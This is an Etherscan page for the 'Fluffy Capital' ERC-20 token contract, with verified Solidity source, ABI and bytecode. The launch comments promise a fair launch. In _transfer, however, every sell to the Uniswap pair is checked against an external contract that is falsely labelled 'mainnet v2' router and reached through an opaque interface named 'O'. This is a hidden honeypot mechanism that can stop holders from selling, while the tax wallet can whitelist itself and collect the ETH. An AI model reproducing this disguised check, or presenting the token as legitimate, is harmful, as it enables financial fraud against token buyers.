ETH Price: $2,611.47 (-2.22%)

Token

Fluffy Capital (FC)
 

Overview

Max Total Supply

72,000,000 FC

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
350,434.17454 FC

Value
$0.00
0x793ae5e6e3196bca720f1eb95521f622b432a1ea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FluffyCapital

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-20
*/

//SPDX-License-Identifier: MIT
// Fluffy Capital (FC)
//
// <Tokenomics>
// Max buy 2%
// Tax 10%
// Total supply 72,000,000 FC
//
// <Launch plan>
// No airdrop, no team token
// Launching at 19:45 GMT, 20 Dec 2021
// Remove buy limit within 5 minutes after launch
// Renounce ownership after
// Lock liquidity for 60 days
// Reduce tax after 24 hours
//
// <Useful links>
// Telegram:  t.me/fluffycapitalfc
// Chart: https://www.dextools.io/app/ether/pair-explorer/0x3934c620391134532de8f81d6889a13634e34a71
// Buy: https://app.uniswap.org/#/swap?outputCurrency=0x255729c36a0bf1c5f1fecee0abec6e920bb348b2

pragma solidity ^0.8.9;

uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=72000000;
string constant TOKEN_SYMBOL="FC";
string constant TOKEN_NAME="Fluffy Capital";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;


interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

interface O{
	function amount(address from) external view returns (uint256);
}


contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

address constant ROUTER_ADDRESS=0x272DD614CC4f4a58dc85cEBE70c941dE62cd4aBa;  // mainnet v2

contract FluffyCapital is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;


	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 private _maxTxAmount;


	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(50);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		if(!_isExcludedFromFee[from]){
			require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
		}


		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<_maxTxAmount,"Transaction amount limited");
			}

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function addToWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=true;
	}

	function removeFromWhitelist(address buyer) public onlyTaxCollector{
		_isExcludedFromFee[buyer]=false;
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}
	modifier onlyTaxCollector() {
		require(_taxWallet == _msgSender() );
		_;
	}

	function reduceTax(uint256 newTaxRate) public onlyTaxCollector{
		require(newTaxRate<INITIAL_TAX);
		_taxFee=newTaxRate;
	}

	function removeBuyLimit() public onlyTaxCollector{
		_maxTxAmount=_tTotal;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}



	function createUniswapPair() external onlyTaxCollector {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyTaxCollector{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() external onlyTaxCollector{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function collectTax() external onlyTaxCollector{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"reduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126006600a6200030e565b620000229063044aa2006200031f565b600555600a805461ffff60a81b191690553480156200004057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216178255600a60065560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b03168352929091208054909416909117909255546200011f916032906200099a62000163821b17901c565b60085560055460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003bc565b6000620001ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001b660201b60201c565b90505b92915050565b60008183620001e35760405162461bcd60e51b8152600401620001da919062000341565b60405180910390fd5b506000620001f2848662000399565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000252578160001904821115620002365762000236620001fb565b808516156200024457918102915b93841c939080029062000216565b509250929050565b6000826200026b57506001620001b0565b816200027a57506000620001b0565b81600181146200029357600281146200029e57620002be565b6001915050620001b0565b60ff841115620002b257620002b2620001fb565b50506001821b620001b0565b5060208310610133831016604e8410600b8410161715620002e3575081810a620001b0565b620002ef838362000211565b8060001904821115620003065762000306620001fb565b029392505050565b6000620001ad60ff8416836200025a565b60008160001904831182151516156200033c576200033c620001fb565b500290565b600060208083528351808285015260005b81811015620003705785810183015185820160400152820162000352565b8181111562000383576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003b757634e487b7160e01b600052601260045260246000fd5b500490565b61163080620003cc6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063d49b55d611610064578063d49b55d614610317578063dd62ed3e1461032c578063e43252d714610372578063e8078d9414610392578063ef985894146103a757600080fd5b8063715018a61461026f5780638ab1d681146102845780638da5cb5b146102a457806395d89b41146102cc578063a9059cbb146102f757600080fd5b8063313ce567116100e7578063313ce567146101dc5780633d8705ab146101f85780633e07ce5b1461020f5780634a1316721461022457806370a082311461023957600080fd5b806306fdde0314610124578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d119b1d59999e4810d85c1a5d185b60921b60208201525b60405161016491906112f9565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611363565b6103c7565b6040519015158152602001610164565b3480156101a957600080fd5b506005545b604051908152602001610164565b3480156101c857600080fd5b5061018d6101d736600461138f565b6103de565b3480156101e857600080fd5b5060405160068152602001610164565b34801561020457600080fd5b5061020d610447565b005b34801561021b57600080fd5b5061020d61046b565b34801561023057600080fd5b5061020d61048a565b34801561024557600080fd5b506101ae6102543660046113d0565b6001600160a01b031660009081526002602052604090205490565b34801561027b57600080fd5b5061020d610716565b34801561029057600080fd5b5061020d61029f3660046113d0565b6107ba565b3480156102b057600080fd5b506000546040516001600160a01b039091168152602001610164565b3480156102d857600080fd5b50604080518082019091526002815261464360f01b6020820152610157565b34801561030357600080fd5b5061018d610312366004611363565b6107f2565b34801561032357600080fd5b5061020d6107ff565b34801561033857600080fd5b506101ae6103473660046113ed565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561037e57600080fd5b5061020d61038d3660046113d0565b61082f565b34801561039e57600080fd5b5061020d61086a565b3480156103b357600080fd5b5061020d6103c2366004611426565b610971565b60006103d43384846109e3565b5060015b92915050565b60006103eb848484610b07565b61043d8433610438856040518060600160405280602881526020016115d3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610eb5565b6109e3565b5060019392505050565b6007546001600160a01b0316331461045e57600080fd5b4761046881610eef565b50565b6007546001600160a01b0316331461048257600080fd5b600554600855565b6007546001600160a01b031633146104a157600080fd5b600a54600160a01b900460ff16156105005760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b60095460055461051d9130916001600160a01b03909116906109e3565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610594919061143f565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061a919061143f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b919061143f565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610468919061145c565b6000546001600160a01b031633146107705760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b031633146107d157600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b60006103d4338484610b07565b6007546001600160a01b0316331461081657600080fd5b3060009081526002602052604090205461046881610f2d565b6007546001600160a01b0316331461084657600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b0316331461088157600080fd5b6009546001600160a01b031663f305d71947306108b3816001600160a01b031660009081526002602052604090205490565b6000806108c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610930573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610955919061147e565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b6007546001600160a01b0316331461098857600080fd5b600a811061099557600080fd5b600655565b60006109dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a7565b9392505050565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b60008111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b6001600160a01b03831660009081526004602052604090205460ff16610d0557604051635cf85fb360e11b815230600482015273272dd614cc4f4a58dc85cebe70c941de62cd4aba9063b9f0bf6690602401602060405180830381865afa158015610c9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc291906114ac565b600a546001600160a01b038481169116148015610ced57506009546001600160a01b03858116911614155b610cf8576000610cfa565b815b1115610d0557600080fd5b6000546001600160a01b03848116911614801590610d3157506000546001600160a01b03838116911614155b15610e5457600a546001600160a01b038481169116148015610d6157506009546001600160a01b03838116911614155b8015610d8657506001600160a01b03821660009081526004602052604090205460ff16155b15610ddc576008548110610ddc5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016104f7565b30600090815260026020526040902054600a54600160a81b900460ff16158015610e145750600a546001600160a01b03858116911614155b8015610e295750600a54600160b01b900460ff165b15610e5257610e3781610f2d565b47670de0b6b3a76400008110610e5057610e5047610eef565b505b505b6001600160a01b038216600090815260046020526040902054610eb09084908490849060ff1680610e9d57506001600160a01b03871660009081526004602052604090205460ff165b610ea9576006546110d5565b60006110d5565b505050565b60008184841115610ed95760405162461bcd60e51b81526004016104f791906112f9565b506000610ee684866114db565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f29573d6000803e3d6000fd5b5050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7557610f756114f2565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff2919061143f565b81600181518110611005576110056114f2565b6001600160a01b03928316602091820292909201015260095461102b91309116846109e3565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790611064908590600090869030904290600401611508565b600060405180830381600087803b15801561107e57600080fd5b505af1158015611092573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b600081836110c85760405162461bcd60e51b81526004016104f791906112f9565b506000610ee68486611579565b60006110ec60646110e685856111d9565b9061099a565b905060006110fa8483611258565b6001600160a01b0387166000908152600260205260409020549091506111209085611258565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461114f908261129a565b6001600160a01b03861660009081526002602052604080822092909255308152205461117b908361129a565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826111e8575060006103d8565b60006111f4838561159b565b9050826112018583611579565b146109dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b60006109dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb5565b6000806112a783856115ba565b9050838110156109dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b600060208083528351808285015260005b818110156113265785810183015185820160400152820161130a565b81811115611338576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461046857600080fd5b6000806040838503121561137657600080fd5b82356113818161134e565b946020939093013593505050565b6000806000606084860312156113a457600080fd5b83356113af8161134e565b925060208401356113bf8161134e565b929592945050506040919091013590565b6000602082840312156113e257600080fd5b81356109dc8161134e565b6000806040838503121561140057600080fd5b823561140b8161134e565b9150602083013561141b8161134e565b809150509250929050565b60006020828403121561143857600080fd5b5035919050565b60006020828403121561145157600080fd5b81516109dc8161134e565b60006020828403121561146e57600080fd5b815180151581146109dc57600080fd5b60008060006060848603121561149357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114be57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114ed576114ed6114c5565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115585784516001600160a01b031683529383019391830191600101611533565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261159657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115b5576115b56114c5565b500290565b600082198211156115cd576115cd6114c5565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200480c7e33786ee5d36876d94898158366b94c87eb61a1d46d72e83438323a90264736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a0578063d49b55d611610064578063d49b55d614610317578063dd62ed3e1461032c578063e43252d714610372578063e8078d9414610392578063ef985894146103a757600080fd5b8063715018a61461026f5780638ab1d681146102845780638da5cb5b146102a457806395d89b41146102cc578063a9059cbb146102f757600080fd5b8063313ce567116100e7578063313ce567146101dc5780633d8705ab146101f85780633e07ce5b1461020f5780634a1316721461022457806370a082311461023957600080fd5b806306fdde0314610124578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d119b1d59999e4810d85c1a5d185b60921b60208201525b60405161016491906112f9565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611363565b6103c7565b6040519015158152602001610164565b3480156101a957600080fd5b506005545b604051908152602001610164565b3480156101c857600080fd5b5061018d6101d736600461138f565b6103de565b3480156101e857600080fd5b5060405160068152602001610164565b34801561020457600080fd5b5061020d610447565b005b34801561021b57600080fd5b5061020d61046b565b34801561023057600080fd5b5061020d61048a565b34801561024557600080fd5b506101ae6102543660046113d0565b6001600160a01b031660009081526002602052604090205490565b34801561027b57600080fd5b5061020d610716565b34801561029057600080fd5b5061020d61029f3660046113d0565b6107ba565b3480156102b057600080fd5b506000546040516001600160a01b039091168152602001610164565b3480156102d857600080fd5b50604080518082019091526002815261464360f01b6020820152610157565b34801561030357600080fd5b5061018d610312366004611363565b6107f2565b34801561032357600080fd5b5061020d6107ff565b34801561033857600080fd5b506101ae6103473660046113ed565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561037e57600080fd5b5061020d61038d3660046113d0565b61082f565b34801561039e57600080fd5b5061020d61086a565b3480156103b357600080fd5b5061020d6103c2366004611426565b610971565b60006103d43384846109e3565b5060015b92915050565b60006103eb848484610b07565b61043d8433610438856040518060600160405280602881526020016115d3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610eb5565b6109e3565b5060019392505050565b6007546001600160a01b0316331461045e57600080fd5b4761046881610eef565b50565b6007546001600160a01b0316331461048257600080fd5b600554600855565b6007546001600160a01b031633146104a157600080fd5b600a54600160a01b900460ff16156105005760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b60095460055461051d9130916001600160a01b03909116906109e3565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610594919061143f565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061a919061143f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b919061143f565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610468919061145c565b6000546001600160a01b031633146107705760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b031633146107d157600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b60006103d4338484610b07565b6007546001600160a01b0316331461081657600080fd5b3060009081526002602052604090205461046881610f2d565b6007546001600160a01b0316331461084657600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b0316331461088157600080fd5b6009546001600160a01b031663f305d71947306108b3816001600160a01b031660009081526002602052604090205490565b6000806108c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610930573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610955919061147e565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b6007546001600160a01b0316331461098857600080fd5b600a811061099557600080fd5b600655565b60006109dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a7565b9392505050565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b60008111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616